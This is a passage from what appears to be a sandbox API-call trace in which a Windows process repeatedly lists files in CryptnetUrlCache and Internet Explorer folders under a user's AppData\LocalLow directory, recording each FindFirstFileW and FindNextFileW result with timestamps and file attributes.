ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.619] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0223.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.620] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x49 [0223.620] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0223.624] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.624] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x64a9c09, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x64a9c09, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x931df046, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0223.624] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x65dad7a, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0223.624] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2af524cd, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0223.624] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.625] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0223.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.626] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x49 [0223.626] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0223.627] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.627] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x64a9c09, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x64a9c09, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x931df046, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0223.627] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x65dad7a, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0223.627] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2af524cd, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0223.628] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2af524cd, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 0 [0223.628] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0223.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.629] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x4a [0223.629] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0223.632] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.632] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x64a9c09, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x64a9c09, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x93251653, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0223.632] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x65dad7a, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0223.632] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2df1ee97, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0223.632] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.632] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0223.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.633] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x4a [0223.633] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0223.635] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x4f14c05a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xb701404e, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xb701404e, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.635] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x64a9c09, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x64a9c09, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x93251653, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0223.635] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x65dad7a, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0223.635] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2df1ee97, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0223.635] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x65dad7a, ftCreationTime.dwHighDateTime=0x1d70460, ftLastAccessTime.dwLowDateTime=0x65dad7a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0x2df1ee97, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 0 [0223.636] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0223.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0223.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0223.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.637] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x42 [0223.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\internet explorer\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5050 [0223.637] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.637] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0223.638] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0223.638] FindClose (in: hFindFile=0x1d1f5050 | out: hFindFile=0x1d1f5050) returned 1 [0223.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0223.638] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x42 [0223.638] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\internet explorer\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ab0 [0223.639] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfd867ea8, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfd867ea8, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.639] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0223.639] FindNextFileW (in: hFindFile=0x1d1f4ab0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.639] FindClose (in: hFindFile=0x1d1f4ab0 | out: hFindFile=0x1d1f4ab0) returned 1 [0223.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0223.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0223.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0223.639] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x4b [0223.639] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\microsoft\\internet explorer\\services\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0223.640] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd867ea8, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfde117df, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfde117df, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.640] FindNextFileW (in: hFindFile=0x1d1f40f0, 